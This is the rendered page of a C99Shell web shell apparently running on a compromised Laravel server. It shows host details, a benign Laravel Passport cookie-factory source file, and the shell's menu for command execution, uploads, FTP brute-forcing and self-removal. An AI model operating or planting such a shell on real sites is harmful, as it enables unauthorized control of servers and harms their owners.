!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/inventory.picotech.app/public_html/vendor/laravel/passport/src/   drwxr-xr-x
Free 28.55 GB of 117.98 GB (24.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ApiTokenCookieFactory.php (2.1 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Passport;

use 
Carbon\Carbon;
use 
Firebase\JWT\JWT;
use 
Illuminate\Contracts\Config\Repository as Config;
use 
Illuminate\Contracts\Encryption\Encrypter;
use 
Symfony\Component\HttpFoundation\Cookie;

class 
ApiTokenCookieFactory
{
    
/**
     * The configuration repository implementation.
     *
     * @var \Illuminate\Contracts\Config\Repository
     */
    
protected $config;

    
/**
     * The encrypter implementation.
     *
     * @var \Illuminate\Contracts\Encryption\Encrypter
     */
    
protected $encrypter;

    
/**
     * Create an API token cookie factory instance.
     *
     * @param  \Illuminate\Contracts\Config\Repository  $config
     * @param  \Illuminate\Contracts\Encryption\Encrypter  $encrypter
     * @return void
     */
    
public function __construct(Config $configEncrypter $encrypter)
    {
        
$this->config $config;
        
$this->encrypter $encrypter;
    }

    
/**
     * Create a new API token cookie.
     *
     * @param  mixed  $userId
     * @param  string  $csrfToken
     * @return \Symfony\Component\HttpFoundation\Cookie
     */
    
public function make($userId$csrfToken)
    {
        
$config $this->config->get('session');

        
$expiration Carbon::now()->addMinutes($config['lifetime']);

        return new 
Cookie(
            
Passport::cookie(),
            
$this->createToken($userId$csrfToken$expiration),
            
$expiration,
            
$config['path'],
            
$config['domain'],
            
$config['secure'],
            
true,
            
false,
            
$config['same_site'] ?? null
        
);
    }

    
/**
     * Create a new JWT token for the given user ID and CSRF token.
     *
     * @param  mixed  $userId
     * @param  string  $csrfToken
     * @param  \Carbon\Carbon  $expiration
     * @return string
     */
    
protected function createToken($userId$csrfTokenCarbon $expiration)
    {
        return 
JWT::encode([
            
'sub' => $userId,
            
'csrf' => $csrfToken,
            
'expiry' => $expiration->getTimestamp(),
        ], 
Passport::tokenEncryptionKey($this->encrypter), 'HS256');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--